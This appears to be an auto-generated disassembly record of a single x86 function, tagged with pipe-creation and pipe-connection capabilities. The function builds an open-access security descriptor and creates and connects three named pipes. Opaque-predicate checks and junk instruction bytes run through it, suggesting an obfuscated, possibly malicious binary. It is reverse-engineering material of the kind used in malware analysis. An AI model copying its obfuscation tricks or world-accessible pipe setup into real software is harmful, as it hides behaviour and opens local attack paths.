Function at 0x406c5a
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov esi, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [0x40922c]
shl eax, 4
call fcn.0040613a
mov eax, esp
push eax
push 0x10
push 0x409048
push 0x409038
call fcn.00407ae5
add esp, 0x10
mov dword [ebp - 0x24], eax
imul eax, dword [0x409230], 6
add eax, 3
and eax, 0xfffffffc
call fcn.0040613a
mov eax, esp
push 6
pop edi
push eax
push edi
push 0x40904f
push 0x409049
call fcn.00407ae5
add esp, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x2a]
push eax
push edi
push 0x409056
push 0x409050
call fcn.00407ae5
add esp, 0x10
mov dword [ebp - 0x1c], eax
imul eax, dword [0x409234], 6
add eax, 3
and eax, 0xfffffffc
call fcn.0040613a
mov eax, esp
push eax
push edi
push 0x40905d
push 0x409057
call fcn.00407ae5
add esp, 0x10
mov dword [ebp - 0x18], eax
mov eax, dword [0x40923c]
xor eax, dword [0x409238]
imul eax, eax, 0xc
call fcn.0040613a
mov edi, esp
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x40]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push ebx
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 0x14], edi
mov dword [edi], 0xc
lea eax, [ebp - 0x40]
mov dword [edi + 4], eax
mov eax, dword [0x409240]
mov dword [edi + 8], eax
or byte [esi + 0x2d], 1
or dword [esi + 0x3c], 0xffffffff
or dword [esi + 0x38], 0xffffffff
or dword [esi + 0x40], 0xffffffff
mov edx, dword [ebp - 0x10]
lea edi, [edx + 0x110c]
mov eax, 0x40a180
push dword [edx + 0x1108]
push edi
push dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
push ebx
push eax
call fcn.0040702c
add esp, 0x14
mov eax, 0x40a07c
mov ecx, dword [ebp - 0x10]
push dword [ecx + 0x1108]
push edi
push dword [ebp - 0x1c]
push ebx
push eax
call fcn.0040702c
add esp, 0x14
mov eax, 0x409f78
mov ecx, dword [ebp - 0x10]
push dword [ecx + 0x1108]
push edi
push dword [ebp - 0x18]
push ebx
push eax
call fcn.0040702c
add esp, 0x14
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov edi, dword [ebp - 0x14]
push edi
push dword [0x409250]
push dword [0x409f14]
push dword [0x409f10]
push dword [0x40924c]
push dword [0x409248]
push dword [0x409244]
mov eax, 0x40a180
push eax
call ebx
mov dword [esi + 0x3c], eax
mov eax, dword [0x409258]
xor eax, dword [0x409254]
sub esp, 0x20
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
movaps xmm0, xmmword [0x408990]
movups xmmword [esp + 4], xmm0
mov eax, 0x409f78
mov dword [esp], eax
or dword [esp + 0x18], 0xffffffff
call ebx
mov dword [esi + 0x40], eax
push edi
push dword [0x409268]
push dword [0x409f1c]
push dword [0x409f18]
push dword [0x409264]
push dword [0x409260]
push dword [0x40925c]
mov eax, 0x40a07c
push eax
call ebx
mov dword [esi + 0x38], eax
mov eax, dword [0x409270]
xor eax, dword [0x40926c]
mov edx, dword [0x409278]
xor edx, dword [0x409274]
mov ecx, dword [esi + 0x3c]
and edx, 0x58884042
xor edx, 0x138a6180
cmp edx, 0x29c826bb
jae 0x406e8b
mov ch, ch
sti
invalid
cmp ecx, eax
je 0x406ed6
cmp dword [esi + 0x40], 0xffffffff
je 0x406ed6
mov eax, dword [esi + 0x38]
mov ecx, dword [0x40927c]
mov edx, dword [0x409284]
xor edx, dword [0x409280]
cmp edx, 0xbc8a17db
jae 0x406eba
cmp byte [ebp + 0x70], 0xf6
dec esp
insd dword es:[edi], dx
push es
pop ecx
cmp eax, ecx
je 0x406ed6
mov eax, 0x40f4b4b4
and eax, dword [0x40928c]
cmp eax, dword [0x409290]
jne 0x406f3b
jmp 0x406f84
add byte [eax], al
mov ecx, 0x5649bcd
xor ecx, dword [0x409288]
xor ebx, ebx
mov eax, 0x9c49c545
xor edx, edx
div ecx
imul eax, eax, 0x1b0f6c82
add eax, 0x3f2196f9
or eax, 0x97784b09
cmp eax, 0x9edf8627
jae 0x406f24
aaa
jne 0x406ed4
lds eax, [edi + 0x5e32d628]
mov al, byte [0x3d8b104d]
mov esp, 0xff004081
jbe 0x406f54
call edi
push dword [esi + 0x40]
call edi
push dword [esi + 0x38]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 0x3c]
call edi
push dword [esi + 0x40]
call edi
push dword [esi + 0x38]
call edi
jmp 0x406fac
mov eax, dword [0x409298]
xor eax, dword [0x409294]
mov ecx, 0x26088210
sub ecx, eax
or ecx, 0xc1c34940
mov edi, dword [0x4092a0]
cmp eax, 0x4092a0
xor edi, dword [0x40929c]
xor edi, ecx
mov ebx, dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
push dword [esi + 0x3c]
call ebx
push 0
push dword [esi + 0x38]
call ebx
push 0
push dword [esi + 0x40]
call ebx
cmp edi, 0xe7babfe1
jbe 0x406fa9
jnp 0x406f90
lodsb al, byte [esi]
daa
aad 1
out dx, eax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
inc eax
add byte [edx], ch
push dword [esi + 0x3c]
call edi
push 0
push dword [esi + 0x38]
call edi
push 0
push dword [esi + 0x40]
call edi
jmp 0x406f3b
xor ebx, ebx
inc ebx
mov eax, dword [0x4092a8]
xor eax, dword [0x4092a4]
mov ecx, dword [0x4092b0]
xor ecx, dword [0x4092ac]
imul ecx, eax
imul eax, ecx, 0xf69ca42f
add eax, 0x316f6b9a
mov ecx, dword [0x4092b8]
xor ecx, dword [0x4092b4]
cmp eax, ecx
jbe 0x407022
mov eax, dword [0x4092c0]
xor eax, dword [0x4092bc]
and eax, 0xab5fe0aa
add eax, 0xeb85cdf7
xor eax, 0xf2af8d05
cmp eax, 0x6b1382e5
jae 0x407016
xor byte [ecx + 0x4e], ah
out 0x66, eax
ffreep st(5)
cmpsb byte [esi], byte es:[edi]
sub byte [edx + 0xe], 0x5a
sub esi, edx
sti
sub al, 0x56
movsd dword es:[edi], dword [esi]
cmpsb byte [esi], byte es:[edi]
push edx
sub byte [edx + 0xe], 0x5a
sub esi, edx
sti
sub al, 0x56
movsd dword es:[edi], dword [esi]
cmpsb byte [esi], byte es:[edi]
push edx
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret